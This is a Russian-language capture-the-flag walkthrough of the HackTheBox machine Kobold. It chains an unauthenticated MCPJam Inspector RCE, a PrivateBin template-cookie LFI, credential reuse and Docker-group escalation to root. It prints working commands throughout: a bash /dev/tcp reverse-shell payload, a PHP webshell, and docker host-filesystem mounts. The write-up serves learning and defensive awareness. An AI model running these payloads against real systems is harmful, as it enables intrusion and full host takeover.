- PVSM.RU - https://www.pvsm.ru -
Перед вами разбор машины Kobold из 10-го сезона HackTheBox. Easy машина, которая оказалась интересной - тут и chaining уязвимостей через Docker volumes, и credential reuse, и два разных пути до root. Но главная изюминка: точка входа - RCE в инструменте из AI/ML-экосистемы. Спойлер: MCP тулзе. Новый attack surface, который стоит знать. Погнали)
Традиционно начинаем с полного сканирования портов:
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>
Nmap обнаруживает четыре открытых TCP-порта:
|
Порт |
Сервис |
Версия |
Заметки |
|---|---|---|---|
|
22 |
SSH |
OpenSSH 9.6p1 Ubuntu |
Свежая версия, без известных CVE |
|
80 |
HTTP |
nginx 1.24.0 |
Redirect → |
|
443 |
HTTPS |
nginx 1.24.0 |
SSL, title: “Kobold Operations Suite” |
|
3552 |
HTTP |
- |
Nmap не распознал, но fingerprint содержит HTML |
SSH на данном этапе бесполезен без учётных данных. Порт 80 просто редиректит на HTTPS. А вот порты 443 и 3552 - наши основные цели.
Важная находка из NSE-скриптов: SSL-сертификат на порту 443 содержит wildcard *.kobold.htb в Subject Alternative Name. Для пентестера это прямой сигнал: существуют сабдомены, которые нужно энумерить.
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
echo "<Target IP> kobold.htb" | sudo tee -a /etc/hosts
Открываем https://kobold.htb в браузере - перед нами статический лендинг “Kobold Operations Suite”. Никакого бэкенда, форм авторизации, интерактива. В общем тупик.
Переходим к порту 3552. Здесь важный момент - curl -k https://kobold.htb:3552 возвращает ошибку wrong version number. Это значит, что порт 3552 работает по plain HTTP, а не HTTPS. Ошибка, которую легко допустить, когда привык что всё за TLS.
curl http://kobold.htb:3552 -I
# HTTP/1.1 200 OK
# Content-Type: text/html; charset=utf-8
Открываем http://kobold.htb:3552 в браузере:
Arcane v1.13.0 - Docker management dashboard. Login form с полями Username/Password. Внизу ссылка “View on GitHub” и версия 1.13.0. Без кредов мы сюда не попадём - запомним и идём дальше.
Wildcard в SSL-сертификате кричит о сабдоменах. Используем ffuf для vhost enumeration:
# Шаг 1: определяем размер дефолтного ответа для фильтрации
curl -k https://kobold.htb -H "Host: asdfnotexist.kobold.htb" -s | wc -c
# → 154
# Шаг 2: фильтруем по этому размеру
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
Результат - один сабдомен:
mcp [Status: 200, Size: 466, Words: 57, Lines: 15]
Добавляем в hosts:
echo "<Target IP> mcp.kobold.htb" | sudo tee -a /etc/hosts
Открываем https://mcp.kobold.htb:
MCPJam Inspector v1.4.2 - development-платформа для MCP-серверов. Полный dashboard без какой-либо аутентификации: Servers, Chat, App Builder, Tools, Resources, Settings - всё доступно. В Settings видим подключённый Ollama и версию v1.4.2.
Для тех, кто не следит за ИИ нарративом: Model Context Protocol - это стандарт для подключения AI-моделей к внешним инструментам. MCPJam Inspector - это dev-tool для тестирования MCP-серверов. И вот такие инструменты всё чаще оказываются exposed в production без аутентификации.
MCPJam Inspector версий ≤1.4.2 содержит критическую уязвимость удалённого выполнения кода (RCE). Проблема в двух вещах:
По умолчанию Inspector слушает на 0.0.0.0 вместо 127.0.0.1 - все HTTP API доступны извне
Endpoint /api/mcp/connect предназначен для подключения к MCP-серверам и принимает параметр serverConfig.command - произвольную команду для запуска. Без аутентификации. Без валидации.
По сути, это задокументированный функционал, который в контексте exposed сервиса превращается в RCE с одного HTTP-запроса.
Запускаем listener в отдельном окне терминала:
nc -lvnp 4444
Отправляем payload:
curl -k https://mcp.kobold.htb/api/mcp/connect
-H "Content-Type: application/json"
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
Ловим shell:
Мы на хосте как пользователь ben. Стабилизируем shell (без этого нет автокомплита, не работают стрелки, Ctrl+C убьёт соединение, а интерактивные команды вроде su откажутся запускаться):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z в терминале
stty raw -echo; fg
export TERM=xterm
cat /home/ben/user.txt
# <FLAG>
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
cat /etc/group | grep docker
# docker:x:111:alice
cat /etc/passwd | grep -v nologin | grep -v false
# root, ben, alice
Ключевое наблюдение: alice в группе docker, а ben - нет. Зато ben в группе operator. Нам нужен путь к docker-привилегиям.
ss -tlnp
|
Адрес |
Порт |
Сервис |
|---|---|---|
|
127.0.0.1 |
8080 |
Docker контейнер (PrivateBin) |
|
127.0.0.1 |
6274 |
MCPJam Inspector (node) |
|
0.0.0.0 |
443/80 |
nginx |
|
* |
3552 |
Arcane |
Порт 8080 слушает только на localhost - он не был виден при внешнем сканировании. Проверяем:
ps aux | grep 8080
# root /usr/bin/docker-proxy ... -host-port 8080 -container-ip 172.17.0.2
Это Docker-контейнер. Смотрим nginx-конфиг:
cat /etc/nginx/sites-enabled/privatebin
Обнаружен ещё один сабдомен - bin.kobold.htb, проксирующий на PrivateBin в Docker-контейнере. Добавляем в hosts на атакующей машине и открываем в браузере:
PrivateBin 2.0.2 - self-hosted pastebin с шифрованием на стороне клиента. Версия попадает в диапазон уязвимых к LFI (CVE-2025-64714, затрагивает 1.7.7 — 2.0.2). Но для эксплуатации нам нужна возможность записать PHP-файл в файловую систему контейнера. Вспоминаем, что ben состоит в группе operator — проверяем, что она даёт:
find / -group operator 2>/dev/null
Группа operator имеет read/write доступ к /privatebin-data/ - это Docker volume, примонтированный в контейнер PrivateBin. Директория /privatebin-data/data/ - полностью writable.
Это важная находка: мы можем писать файлы в volume, которые будут видны внутри контейнера.
PrivateBin с включённым templateselection = true доверяет cookie template для выбора PHP-шаблона. Через path traversal можно включить произвольный PHP-файл относительно директории tpl/. Сама по себе LFI в контейнере кажется бесполезной — мы ограничены его файловой системой. Но у нас есть writable volume, общий между хостом и контейнером. Это позволяет выстроить цепочку:
Шаг 1 - дропаем webshell с хоста (shell как ben):
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
Шаг 2 - LFI через template cookie (атакующая машина):
curl -k https://bin.kobold.htb/
-b "template=../data/pwn"
-G --data-urlencode "cmd=id"
Результат:
LFI работает. Мы выполняем код внутри Docker-контейнера PrivateBin.
Шаг 3 - сливаем конфиг:
curl -k https://bin.kobold.htb/
-b "template=../data/pwn"
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
В конфиге находим секцию MySQL с реальными credentials:
Отдельно интересен комментарий в конфиге: “Temporarily disabling while we migrate to new server for loadbalancing” - база временно отключена, но пароль реальный и, как часто бывает, переиспользуется.
Каждый найденный пароль при пентесте нужно пробовать во всех обнаруженных сервисах. Это не опция - это обязательный чеклист:
☐ SSH (alice, ben, root)
☐ su alice / su root
☐ Arcane Dashboard (admin, alice, ben, privatebin)
☐ Любые другие формы логина
Попытки su alice и SSH не дали результата. Следующая цель — Arcane Dashboard на http://kobold.htb:3552. Но какой логин использовать?
При credential reuse важно не только пробовать username’ы из найденных конфигов (privatebin, alice, ben), но и гуглить дефолтные учётные записи для конкретного продукта. Быстрый поиск “Arcane default credentials” приводит к документации [1] и GitHub Discussions [2] — дефолтный логин: arcane / arcane-admin.
Пароль по дефолту не подошёл — его сменили. Но username оставили стандартным. Пробуем комбинацию дефолтного username + leaked password:
Username: arcane
Password: <LEAKED_PASSWORD>
Мы внутри. Полноценный Docker management dashboard: контейнеры, образы, volumes, networks - всё под контролем.
Урок: при credential reuse всегда проверяй дефолтные учётные записи из документации продукта. Пароль могут сменить, но username часто оставляют как есть.
Arcane позволяет создавать Docker-контейнеры через UI. Если мы создадим контейнер, который монтирует корневую файловую систему хоста - получим полный доступ как root.
Containers → Create Container со следующими параметрами:
Вкладка Basic:
|
Параметр |
Значение |
|---|---|
|
Container Name |
|
|
Image |
|
|
Command |
|
|
User |
|
Остальные параметры не трогаем на этой вкладке
Вкладка Volumes:
|
Source (Host) |
Container Path |
|---|---|
|
|
|
Или в текстовом формате: /:/hostfs
Вкладка Network & Security:
☑ Ставим галочку на Privileged mode
Жмём Create Container, запускаем, открываем Shell:
cat /hostfs/root/root.txt
Root flag получен.
Выше мы прошли полную цепочку: LFI → credential leak → Arcane → privileged container. Красиво, но долго. А теперь - бонус для тех, кто дочитал до конца: тот же root за 3 команды, без UI, без поиска паролей, без credential reuse.
Откуда я узнал про этот путь? Когда уже был внутри Arcane, из любопытства полез в /etc/gshadow через shell контейнера с примонтированным хостом. И вот что бросилось в глаза:
Секунду. Ben в группе docker? Но cat /etc/group | grep docker показывал только alice. Дело в том, что gshadow — это теневой файл групповых разрешений, и он может содержать участников, которых нет в основном /etc/group. Команда newgrp при наличии записи в /etc/gshadow берёт список участников именно оттуда, а не из /etc/group (man newgrp [3]). Участники, перечисленные в gshadow, могут переключиться в группу без пароля.
newgrp docker
Теперь у нас есть прямой доступ к Docker daemon. Монтируем хостовую FS и запускаем команду чтобы прочитать флаг:
docker run --rm -u 0 -v /:/hostfs --entrypoint /bin/sh
privatebin/nginx-fpm-alpine:2.0.2 -c "cat /hostfs/root/root.txt"
Результат тот же - root flag за 3 команды вместо 10 минут в UI. Но с точки зрения обучения, длинный путь интереснее - он учит chaining уязвимостей.
Пара нюансов при работе с Docker-образами:
--entrypoint /bin/sh - обязателен, иначе запустится дефолтный процесс (nginx+php-fpm) и перехватит stdin
-u 0 - запуск как root в контейнере, иначе Permission denied при чтении /root/
--rm - удаляет контейнер после выхода, чтобы не мусорить
MCPJam Inspector - не единичный случай. По мере роста MCP-экосистемы (серверы, инспекторы, прокси) мы видим всё больше инструментов, которые по дефолту слушают на 0.0.0.0 без аутентификации. База vulnerablemcp.info [4] уже содержит десятки подобных уязвимостей. Для AppSec-инженеров это сигнал: аудит MCP-конфигураций должен стать частью security review.
Банально, но повторяется из лабы в лабы: членство в группе docker эквивалентно root-доступу. Одна команда docker run -v /:/hostfs - и файловая система хоста ваша. При аудите Linux-систем это должен быть один из первых проверяемых пунктов.
Изолированная LFI внутри контейнера кажется бесполезной - но если между хостом и контейнером есть shared volume с write-доступом, это полноценный вектор. Chain: drop file → LFI trigger → config leak → credential reuse.
Нашёл пароль? Пробуй его везде. И не забывай про admin / root / administrator - даже если в конфиге username был privatebin, логин в web-приложении может быть совершенно другим. Также полезно будет поискать дефолтные юзернеймы для сервисов, как было с Arcane dasboard - arcane.
GHSA-232v-j27c-5pp6 [5] - MCPJam Inspector RCE, unauthenticated
CVE-2025-64714 [6] - PrivateBin LFI через template cookie
Arcane Docker Management [7] - GitHub проекта, дефолтные креды в документации
man newgrp [3] - gshadow приоритет над /etc/group
man gshadow [8] - формат теневого файла групп
Vulnerable MCP Database [4] - база уязвимостей в MCP-инструментах
MITRE ATT&CK [9] - маппинг техник использованных в kill chain
Спасибо что дочитали до конца, надеюсь было интересно. Если статья была полезна - буду рад фидбэку. Постараюсь опубликовать следующие writeup’ы по мере прохождения Season 10.
Автор: weahiro
Источник [10]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/448578
Ссылки в тексте:
[1] документации: https://getarcane.app/docs/setup/installation
[2] GitHub Discussions: https://github.com/getarcaneapp/arcane/discussions/1103
[3] man newgrp: https://man7.org/linux/man-pages/man1/newgrp.1.html
[4] vulnerablemcp.info: https://vulnerablemcp.info/
[5] GHSA-232v-j27c-5pp6: https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6
[6] CVE-2025-64714: https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
[7] Arcane Docker Management: https://github.com/getarcaneapp/arcane
[8] man gshadow: https://man7.org/linux/man-pages/man5/gshadow.5.html
[9] MITRE ATT&CK: https://attack.mitre.org/
[10] Источник: https://habr.com/ru/articles/1018656/?utm_source=habrahabr&utm_medium=rss&utm_campaign=1018656
Нажмите здесь для печати.